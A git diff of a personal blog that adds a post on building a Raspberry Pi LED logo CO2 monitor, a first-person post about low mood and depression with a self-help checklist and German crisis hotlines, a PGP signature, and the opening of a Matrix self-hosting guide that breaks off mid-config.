it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood. + +This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I'll try to include as much detail as I can. + +--- + +## 1) Sketch → CAD → Print + +![Fusion design + logotype](/images/inet/inet_logo_fusion_merged.png) + +I started the way all sensible hardware projects start: with **overconfidence** and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall **I**, the curving **N**, three stacked bars for **E**, and the long arm of **T**. Each pocket got: + +- **Mounting bosses** for the front diffusers (M2 screws), +- **Cable holes** between chambers (rounded to avoid cutting silicone wire), and +- A small **wiring bay** for the controller and power. + +I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at **1-2 mm** thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing. + +The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it. + +--- + +## 2) The Look I Wanted + +![Animations collage](/images/inet/inet_animation_collage.jpg) + +I wasn't building a stage light. The goal was **calm**: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the **CO₂ monitor** in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I'm happy with it and want to let it be there doing it's job. + +--- + +## 3) The Tidy Mess Behind the Panel + +![Hardware collage](/images/inet/inet_hardware_collage.jpg) + +Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day: + +- A **330–470 Ω** series resistor on the *data* line right at the first pixel. It damps ringing and prevents weird flickers. +- A **1000 µF** electrolytic across **5V/GND** at the strip start. It handles inrush so the first LED doesn’t faint at boot. + +I route the strip **DIN → DOUT** through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check **before** power and bring brightness up slowly on a bench supply. + +The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won't be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD + +--- + +## 4) A Web Panel that Stays Out of the Way + +![UI collage](/images/inet/inet_ui_collage.jpg) + +The web UI is quiet on purpose: a single navbar, a `/control` page with big same‑size buttons, a `/schedule` table, a drag‑and‑drop `/calendar`, a `/status` page that updates once a second, and `/history` charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy. + +There’s also a **Safe Mode** switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it's not funny for anyone to fidn this out when looking at your creation. So... yea, I took precautions not to see people getting seizures looking at my creation. :-) + +--- + +## 5) The Color Language for Air + +The `co2_monitor` animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight: + +- **< 500 ppm**: Cyan — outdoor‑like fresh air. +- **500–799**: Green — good. +- **800–1199**: Yellow — getting stale. +- **1200–1499**: Orange — poor; you’ll feel it. +- **1500–1999**: Red — ventilate now. +- **≥ 2000**: Purple — the logo is politely yelling. + +I blend the readings with an **exponential moving average** and use **hysteresis** around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow **breathing brightness**. The result feels alive but never flashy. + +By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it's daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it's color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database. + +--- + + +## 6) The Code — a guided tour (no giant blob, promise) + +This whole project runs from a single Python file. Think of it like a tiny orchestra: +one thread conducts the **LEDs**, one listens politely to the **CO₂ sensor**, one keeps time as the **scheduler**, and a small **web server** hands you the baton when you want to improvise. + +Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross). + +--- + +### 6.1 Configuration (the knobs) + +Let's define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers. + +```python +LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 +SCHEDULE_PATH="schedule.json" +DB_PATH="sensor.db" +SAFE_MODE=True # hide flashy animations by default +``` + +*Why it’s like this:* simple, explicit defaults → less “why is it dark” debugging. + +--- + +### 6.2 Strip setup + frame-diff (no flicker magic) + +Now initialize `rpi_ws281x.PixelStrip` and put a **shadow frame buffer** in front of it. + +```python +frame = [(0,0,0)] * LED_COUNT +_dirty = False + +def _set_pixel(i, r, g, b): + # only touch hardware if the value actually changed + if frame[i] != (r,g,b): + strip.setPixelColorRGB(i, r, g, b) + frame[i] = (r,g,b) + global _dirty; _dirty = True + +def flush(): + if _dirty: strip.show(); _dirty=False +``` + +*Why it’s like this:* LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call `show()` with identical data. + +--- + +### 6.3 A tiny color wheel helper + +Classic rainbow helper used by a few animations: + +```python +def wheel(pos): + # 0..255 → (r,g,b) + ... +``` + +*Why it’s like this:* I'll use it again and again; it keeps color math out of the animations. + +--- + +### 6.4 State & orchestration + +Let's hold a registry of animations, a stop flag, and the currently playing thread. + +```python +animations = {} +stop_event = threading.Event() +current_thread = None + +def register(name, safe=True): + def wrap(fn): + animations[name] = {"fn": fn, "safe": safe} + return fn + return wrap + +def run_animation(fn): + # cooperative hand-off: stop current, start next + if current_thread and current_thread.is_alive(): + stop_event.set(); current_thread.join() + stop_event.clear() + t = threading.Thread(target=fn, name=fn.__name__, daemon=True) + t.start(); globals()["current_thread"] = t +``` + +*Why it’s like this:* adding a new animation is a one-liner `@register("name")`. Clean exits prevent torn frames and half-drawn comets. + +--- + +### 6.5 Animations (the mood) + +Each animation is a loop that checks `stop_event.is_set()` and draws frames with `_set_pixel(...)` + `flush()`. + +- **`redpulse`** — calm breathing in red; great default. +- **`colorwave`** — slow rainbow that reads clearly behind diffusers. +- **`comet`** — a single head with a fading tail orbiting the logo. + +They all end with `finally: clear_strip()` so the panel doesn’t freeze on the last pose if you stop mid-frame. + +*Why it’s like this:* cooperative loops + frame-diff = smooth, interruption-safe effects. + +--- + +### 6.6 CO₂ color language (with smoothing + hysteresis) + +The star of the show. Now map ppm to color **bands** and keep transitions human-pleasant. + +- `< 500`: **Cyan** (fresh) +- `500–799`: **Green** +- `800–1199`: **Yellow** +- `1200–1499`: **Orange** +- `1500–1999`: **Red** +- `≥ 2000`: **Purple** + +```python +BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] +EMA_ALPHA=0.15; HYST=35 + +# Every tick: +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 +band = hysteresis_aware_band(ema, last_band, HYST) +target = BANDS[band].color +current = lerp(current, target, 0.10) # gentle hue easing +level = breathe(0.25 Hz, low=10, high=220) +draw all pixels = current * level +``` + +*Why it’s like this:* EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light. + +--- + +### 6.7 Optional SCD41 sensor thread (the polite listener) + +If the SCD41 is present, a **dedicated thread** owns I²C and updates a global `co2_data` dict every few seconds. It also logs to a tiny SQLite database. + +```python +def _start_sensor(): + try: + scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() + except: return # sensor optional + def loop(): + while True: + time.sleep(5) + if scd4x.data_ready: + co2_data.update({...}) + db.insert(timestamp, co2, temperature, humidity) + threading.Thread(target=loop, daemon=True).start() +``` + +*Why it’s like this:* one thread owns the bus → no read contention. The controller keeps working even without a sensor. + +--- + +### 6.8 Scheduler + 90-minute override (humans win, then reset) + +A background thread asks, every few seconds, **which** mode should be running: + +1. If the user chose something recently (override), respect it for `TTL = 90 min` (or the duration set in the UI). +2. Otherwise, apply the **default schedule** (Wednesday 14–17 → `slow`, else `redpulse`). +3. Save/load the schedule atomically to `schedule.json`. + +```python +def scheduler_pick(): + if now < override_until: return override_mode + for row in load_schedule(): + if matches(now, row): return row["mode"] + return "redpulse" +``` + +*Why it’s like this:* you can play DJ for a meeting, and the room quietly returns to its routine afterward. + +--- + +### 6.9 The web panel (tiny Flask, big buttons) + +Three pages, no fuss: + +- `/status` — live JSON (`/status_data`) every second → current mode + CO₂/Temp/Humidity. +- `/control` — grid of same-size buttons (respects **Safe Mode**), optional **duration** (0–180 min) with validation. +- `/schedule` — simple table editor; **Add Row** and **Save**; writes atomically. + +```python +@app.post("/set") +def set_mode(): + mode = request.form["mode"] + minutes = clamp( int(form["duration"]), 0, 180 ) + set_override(mode, minutes) + run_animation(animations[mode]["fn"]) + return redirect("/control") +``` + +*Why it’s like this:* minimal routes are easier to maintain and don’t compete with the art piece. + +--- + +### 6.10 Boot choreography + +At startup I: + +1. Try the **sensor thread** (if hardware is there). +2. Start the **scheduler thread**. +3. Immediately play **redpulse** (so there’s a friendly glow right away). +4. Start Flask; on shutdown I **clear the strip**. + +```python +if __name__ == "__main__": + _start_sensor() + threading.Thread(target=scheduler_loop, daemon=True).start() + run_animation(redpulse) + app.run(host="0.0.0.0", port=5000) +``` + +*Why it’s like this:* the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds. + +--- + +### TL;DR (but keep the vibes) + +- **Frame-diff** = no flashes. +- **EMA + hysteresis** = smooth, truthful color. +- **Breathing** = presence, not signage. +- **Threads per thing** (LEDs / sensor / scheduler) = no fights. +- **Atomic files** = no corrupted schedules. +- **Safe Mode** by default = people > pixels. + +That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty. + +### Why this shape of code? +- **One thread per hardware thing.** The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides *what* to run and when. No bus fights. +- **Frame diff.** I only call `strip.show()` when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. +- **Atomic schedule saves.** The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. + +> No, you don’t *need* the sensor. If it’s not connected, the app still runs; `co2_monitor` just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don't you agree? + +--- + +## 7) Sensor Database — what it stores, where it lives, and how far it goes + +This project logs room conditions to a **tiny SQLite database** so you can graph trends, spot stuffy meetings, and keep a record without running a separate server. + +### What’s stored + +A single table called `readings`: + +```sql +CREATE TABLE IF NOT EXISTS readings ( + timestamp TEXT PRIMARY KEY, -- "YYYY-MM-DD HH:MM:SS" + co2 INTEGER, -- ppm + temperature REAL, -- °C + humidity REAL -- % +); +``` + +- One row per sample (typically every **5–60 seconds**; slow it down to reduce writes). +- `timestamp` is the primary key → easy “latest” queries and natural time ordering. + +### Where the file lives + +- Path is configurable via env var `DB_PATH` (see your systemd unit). +- Default: `sensor.db` in the app’s working directory (e.g. `/home/pi/inet-led/sensor.db`). + +Check size: + +```bash +ls -lh /home/pi/inet-led/sensor.db +``` + +### How writes happen (and why it’s safe) + +- The **sensor thread** owns I²C and inserts a row only when the sensor reports `data_ready`. +- Inserts are short and journaling protects against power loss. +- For friendlier read/write concurrency, enable WAL once at startup: + +```sql +PRAGMA journal_mode = WAL; +PRAGMA synchronous = NORMAL; +``` + +### Typical size & retention + +Back-of-envelope: + +- ~100–200 bytes per row (including overhead). +- 1 sample/minute → ~1,440 rows/day → **~150–300 KB/day** → **55–110 MB/year**. +- If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). + +Prune old data (keep last 90 days): + +```sql +DELETE FROM readings +WHERE timestamp < date('now','-90 day'); +``` + +(Optionally run `VACUUM;` after large deletes to reclaim file space.) + +### Useful queries + +**Latest reading:** +```sql +SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; +``` + +**Range for charts (last 7 days):** +```sql +SELECT * FROM readings +WHERE timestamp >= datetime('now','-7 day') +ORDER BY timestamp; +``` + +**Downsample to hourly averages (30 days):** +```sql +SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour, + AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h +FROM readings +WHERE timestamp >= datetime('now','-30 day') +GROUP BY hour +ORDER BY hour; +``` + +**Export to CSV (example via sqlite3 CLI):** +```bash +sqlite3 /home/pi/inet-led/sensor.db <<'SQL' +.headers on +.mode csv +.output /home/pi/inet-led/export_readings.csv +SELECT * FROM readings ORDER BY timestamp; +.output stdout +SQL +``` + +### SD card friendliness + +- Choose a sensible interval (e.g., **30–60 s**). +- Optionally buffer in memory and write every N samples. +- Prefer WAL mode; periodically prune & vacuum. +- If you care about card wear, place the DB on USB/SSD. + +### Backups & restore + +**Nightly backup (simple):** +```bash +sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'" +``` + +**Restore:** +1. `sudo systemctl stop inet-led` +2. Copy backup file back to `/home/pi/inet-led/sensor.db` +3. `sudo systemctl start inet-led` + +### Security & permissions + +```bash +chown pi:pi /home/pi/inet-led/sensor.db +chmod 600 /home/pi/inet-led/sensor.db +``` + +Keep the app directory non-world-readable. + +### Is SQLite the right choice? + +**Yes, for a single Pi** logging every few seconds and rendering local charts: +- ✅ Zero admin, a single file, reliable journaling, great performance at this scale. +- ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). +- ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. + +### TL;DR + +SQLite is perfect here: **simple, robust, easy to back up**. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi. + +--- + +## 8) Run at Boot (systemd) + +I wrote this simple systemd to `/etc/systemd/system/inet-led.service` so that it runs the script when RPi boots up: + +```ini +[Unit] +Description=INET LED Panel +After=network.target + +[Service] +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py +WorkingDirectory=/home/pi/inet-led +Restart=always +User=pi +Environment=LED_COUNT=78 +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json +Environment=DB_PATH=/home/pi/inet-led/sensor.db + +[Install] +WantedBy=multi-user.target +``` + +Then you can run: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now inet-led +journalctl -u inet-led -f +``` + +to control the systemd service. + +--- + + + +## 9) Soldering Notes (a love letter to hot glue) + +- **Tin first, solder second.** Tiny pads like tiny puddles. Fast in/out, no lifted pads. +- **Stagger joints** so nothing stacks under the diffuser. +- **Heat‑shrink + a dot of hot glue** = happier future you. +- **Continuity before power.** Multimeter first, electrons last. +- If a pad *does* lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. + +Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable... So... yea. + +--- + +## 10) Why these design choices? + +- **Calm motion, not flashy.** Meeting rooms breed fatigue; the light should be a helper, not a distraction. +- **Cyan→Purple language.** Easy to learn, visible at a glance, meaningful without numbers. +- **White charts, dark UI.** Data should be legible on a projector; buttons shouldn’t shout. +- **Safe Mode default.** People first. Demos are opt‑in. +- **PLA body, PLA diffuser.** Fast and easy rapid prototyping, easy and fast printing. + +--- + +## 11) What I learned + +- A logo is a better messenger than a dashboard. +- Everyone knows what **orange** means without a legend. +- If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! +- Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ + +--- + +## 12) Final notes +I did this project as a fun distraction and "not work" as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I'm so so thankful of my advisor for this cool idea, and all the support. It's not the first time I've been gifted such toys, and as I have recieved other things after that, I know it's not the last. + +There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let's hope that doesn't turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!* + +The whole project took around 8 days, 4 of which were part of a long weekend. I did do some "not work" as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don't know how the group feels/thinks about the logo, but I love it! I hope it won't die after I leave, but even if so, so be it. I had my fun with it. :) + +--- + +{{< sigdl >}} diff --git a/content/posts/loop_of_doom.md b/content/posts/loop_of_doom.md new file mode 100644 index 0000000..af253f9 --- /dev/null +++ b/content/posts/loop_of_doom.md @@ -0,0 +1,108 @@ ++++ +title = 'The Loop of Doom' +date = 2025-11-07T13:45:52Z +draft = false ++++ + +It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn't. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I've been feeling more down, sad, exhausted. I've been wanting to stay alone at home. To rest. And then I get stressed and sad because I'm not doing anything. I get the feeling of worthlessness a lot lately. It's exhausting. + +Funny how I loved my research, the group, the people, hanging out, trying new things. It's just funny how everything changed all of the sudden. How I don't feel anything anymore. How sad I've been. How down I've been. My cognitive functions, my memory and everything has been also badly damaged. It's just horrible. + +I've been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me. + +I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said "why do you want to label things?". + +This is actually a really valid question. I don't know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk. + +This is what I call the loop of doom. MDD. I don't even know if I'm experiencing it or not. All I know is that things are not right, and I don't feel well. + +Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn't work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world. + +I'm happy that I've not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure. + +It's sad because I can see it in my monthly reports, in the [PhD_journey](https://blog.alipourimjourneys.ir/phd_journey/) page of my blog. I can see how bad last month was, and I know this month has not been any better. It's just scary, and sad. I know I'm losing precious time that I cannot get back. I know at some point I'm expected to deliver results that I won't have, and I know I won't like myself when this inevitable happens. + +I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I've been told to do by my brother in the meanwhile: +- Going for short walks +- Doing small tasks that make me feel good +- idk... I don't remember anything else. + +ChatGPT also gave me some advice, I'll copy it here: +```markdown= +# 14‑Day Reset — Daily Checklist + +**Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ + +### How to use (60 seconds) + +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. + +### Define today’s Minimum Reliable Dose (MRD) + +*(Write clear, tiny actions with a start line → action → done proof.)* + +* **Study MRD:** ________________________________________________________________ +* --- +* **Work/Code MRD:** ____________________________________________________________ +* --- + +--- + +### Daily tracker (14 days) + +| Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | +| 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | +| 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | + +--- + +### Quick reference + +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). + +**Code — restart protocol:** + +1. Open repo → `git status` → run tests/linter → open last‑changed file. +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. + +--- + +### Safety net (Germany) + +* **Emergency:** 112 +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 + If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. +``` + +Lmao. I wonder how things will progress in the future, and how I'll do. Was it really because of a failed relationship? Really? Something that never happened? I don't believe it, it's not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn'tve these feelings. Maybe, just maybe. + +But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn't being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right. + +Darn. That is a lot. Lot of bad things. Back to back to back. + +Ok. Let's break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don't. But I will figure it out and make it work. I have to. I ain't, and I wasn't brought up like this. Let's fleaping go... + +I try to keep ya'll, the empty list of people, updated. + + + +--- + +{{< sigdl >}} diff --git a/content/posts/matrix_setup.asc b/content/posts/matrix_setup.asc new file mode 100644 index 0000000..4202fbb --- /dev/null +++ b/content/posts/matrix_setup.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qSO0P/2tzWyTdIIsGj1RoTrpTlNgJ +bVGtx3Cvs2aeBkq/3xCsLN8gJwQ6kOUPires79sae9wDsbaCmz7E2sXyRGl/pQol +81OxqRWvwMaZ9rZeOooh1JqCh2e90cSHjUOz3RocaJxpfuEH6mmd7gHrdok21FRa +mCxNFvBAAsxeZdO+4XSpIgVVHAWeIoBYEbacygHZkOAKqWnS6Y9WczE+PRQ8Ru46 +TsNjtSHloRRj90ijtHvv1IWUu6J4oRSntmbcXWBuiAZvSsnBCndroHAqU90nNMME +HSWR7kTGADIwrbkPzcznJnk0gp19f9qGhIIsnDheVHZJdtRbZhFSDAzk6Lw2XnbX +rSLFQadQJCPQhDv/pAfJhNtu+be0R2Rtx+iiw4+TBPK9nsgHgExM28etJON4ZsE/ +cZAVDoj39W9kshcynoyPCkUcqlcvlIpZ/21KmqWIPQAaTOCkPz4nJw1fVhXs4XbA +i8sbnFI2k+jg+qELiDShCmTAqFuCB+Icxi3l7BFL/ot0MzDHZAxG/0UqAE7Zv3i5 +c6EzU+8C6+gnYE3QvMo4egKMAz7S5zd6Vi6aGGKy4xc4HfS083pyDB9A8FSA3nND +kvihzAsOCnzf5IhkUkIU5SD25QWLsmEX//rIkAKrGDvvCBJZsqgwvpYYQ2V2N7Uo +hPqGAFdRLevEweDOG0IU +=EaCd +-----END PGP SIGNATURE----- diff --git a/content/posts/matrix_setup.md b/content/posts/matrix_setup.md new file mode 100644 index 0000000..7ddf478 --- /dev/null +++ b/content/posts/matrix_setup.md @@ -0,0 +1,426 @@ +--- +title: "Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)" +date: 2025-08-26 +tags: ["matrix", "synapse", "element-call", "livekit", "coturn", "nginx", "webrtc", "self-hosting", "debugging"] +draft: false +description: "How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls." +cover: + image: "/images/matrix-cover.png" + alt: "Matrix, Signal but distributed" + caption: "Distributed end-to-end encrypted chat platform" + relative: true + hidden: false +--- + +> TL;DR: The call kept saying **“waiting for media”** because the browser never opened a WebSocket to LiveKit. The root cause was **duplicate `Access-Control-Allow-Origin` headers** on `/sfu/get` (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP **101** in logs) solved it. + +## What I'm building + +- A **Matrix homeserver** (Synapse) at `matrix.example.com` (replace with your domain). +- **TURN/STUN** (coTURN) for NAT traversal. +- **Element Call** backed by **LiveKit**, fronted by `rtc.example.com`. +- **Nginx (host)** as the single reverse proxy for everything. +- **Cloudflare** DNS (with `rtc.*` set to **DNS-only**, no orange cloud). +- **UFW** firewall opened for Matrix federation, TURN, and LiveKit media ports. + +> I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used **host** Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. + +--- + +## Prereqs + +- DNS A/AAAA: + - `matrix.example.com` → your server (v4/v6) + - `rtc.example.com` → your server (v4/v6) +- Certificates: + - `matrix.example.com` and `rtc.example.com` via Let’s Encrypt on the host +- Cloudflare: **DNS-only (grey cloud)** for `rtc.example.com` so WebSockets & UDP work without interference. +- UFW / firewall open: + - 80/tcp, 443/tcp + - 8448/tcp (Matrix federation) + - 3478/tcp, 3478/udp and **5349/tcp** (TURN/TLS) + - **LiveKit**: 7881/tcp and **50100–50200/udp** (or your chosen range) +- Docker + docker compose installed. + +--- + +## Synapse + PostgreSQL + +### 1) The PostgreSQL collation gotcha + +Synapse prefers the database collation **`C`**. If your Postgres cluster was initialized with `en_US.utf8`, Synapse will error like: + +``` +Database has incorrect collation of 'en_US.utf8'. Should be 'C' +``` + +**Two ways to resolve:** + +- **Preferred (clean)**: Re-initialize the Postgres **cluster** with `C` and `UTF-8`: + +```yaml +# docker-compose.yml (excerpt for Postgres) +services: + db: + image: postgres:16 + environment: + POSTGRES_DB: synapse + POSTGRES_USER: synapse + POSTGRES_PASSWORD: + POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C" + volumes: + - ./pgdata:/var/lib/postgresql/data +``` + +> Requires wiping the volume and recreating the DB. + +- **Pragmatic (works quickly)**: In Synapse’s DB config, set `allow_unsafe_locale: true`. This bypasses the check. It’s fine for hobby use; for production, prefer the clean `C` cluster. + +### 2) Start Synapse and generate config + +```bash +docker compose up -d db synapse +# Logs +docker compose logs --tail=200 synapse +``` + +Ensure Synapse prints your **server_name** and **public base URL** and stays up. + +### 3) Create an admin user + +```bash +# Exec into the running Synapse container: +docker compose exec synapse register_new_matrix_user \ + -c /data/homeserver.yaml -u -p \ + -a -k +``` + +> If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use `docker compose exec synapse …` against the running container. + +--- + +## TURN (coTURN) + +### 1) Avoid bad inline comments + +If you see errors like: + +``` +ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. +``` + +…it means a `#` comment is on the **same line** as a boolean directive. Move comments to their own lines. + +### 2) Minimal `turnserver.conf` + +```ini +listening-port=3478 +tls-listening-port=5349 +fingerprint +use-auth-secret +static-auth-secret= # also set in Synapse +realm=example.com # used in creds generation +total-quota=0 +bps-capacity=0 +cli-password= +no-cli +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem +# If behind NAT: +# external-ip=/ +``` + +### 3) Wire TURN into Synapse + +In `homeserver.yaml`: + +```yaml +turn_uris: + - 